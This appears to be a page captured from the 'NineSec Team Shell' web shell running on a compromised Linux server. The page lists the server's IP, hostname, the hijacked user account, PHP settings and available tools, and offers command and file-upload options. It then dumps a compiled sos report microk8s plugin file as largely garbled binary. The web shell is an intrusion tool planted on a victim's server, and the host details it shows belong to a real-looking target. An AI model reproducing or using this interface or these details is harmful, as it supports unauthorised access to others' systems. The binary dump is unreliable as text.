NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/microk8s.cpython-36.pyc
3

~�g�@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�UbuntuPluginc@s4eZdZdZdZdZd
ZdZdZdd�Z	dd�Z
d	S)�Microk8saThe Microk8s plugin collects the current status of the microk8s
    snap on a Ubuntu machine.

    It will collect logs from journald related to the snap.microk8s
    units as well as run microk8s commands to retrieve the configuration,
    status, version and loaded plugins.
    zThe lightweight Kubernetes�microk8s�	containercsB�jdd�ddddddg}�jd	��j�fd
d�|D��dS)Nzsnap.microk8s.*)Zunitszaddons repo list�configzctr plugins lszctr plugins ls -dZstatus�versionz4/var/snap/microk8s/current/credentials/client.configcsg|]}�j�d|���qS)� )�microk8s_cmd)�.0Zsubcmd)�self��/usr/lib/python3.6/microk8s.py�
<listcomp>0sz"Microk8s.setup.<locals>.<listcomp>)Zadd_journalZ
add_copy_specZadd_cmd_output)rZmicrok8s_subcmdsr
)rr�setup szMicrok8s.setupcCsDd}|j|j|d�ddddg}ddj|��d	�}|jd
|d�dS)Nz((certificate-authority-data:|token:)\s.*z\1 "**********"zcertificate-authority-datazclient-certificate-datazclient-key-data�tokenz(^\s*(�|z
)\s*:\s*)(.*)z4/var/snap/microk8s/current/credentials/client.configz\1*********)Zdo_cmd_output_subr
�joinZdo_path_regex_sub)rZrsubZprotect_keysZ	key_regexr
r
r�postproc3szMicrok8s.postprocN)r)r)�__name__�
__module__�__qualname__�__doc__Z
short_descZplugin_nameZprofilesZpackagesr
rrr
r
r
rrsrN)Zsos.report.pluginsrrrr
r
r
r�<module>s

NineSec Team - 2022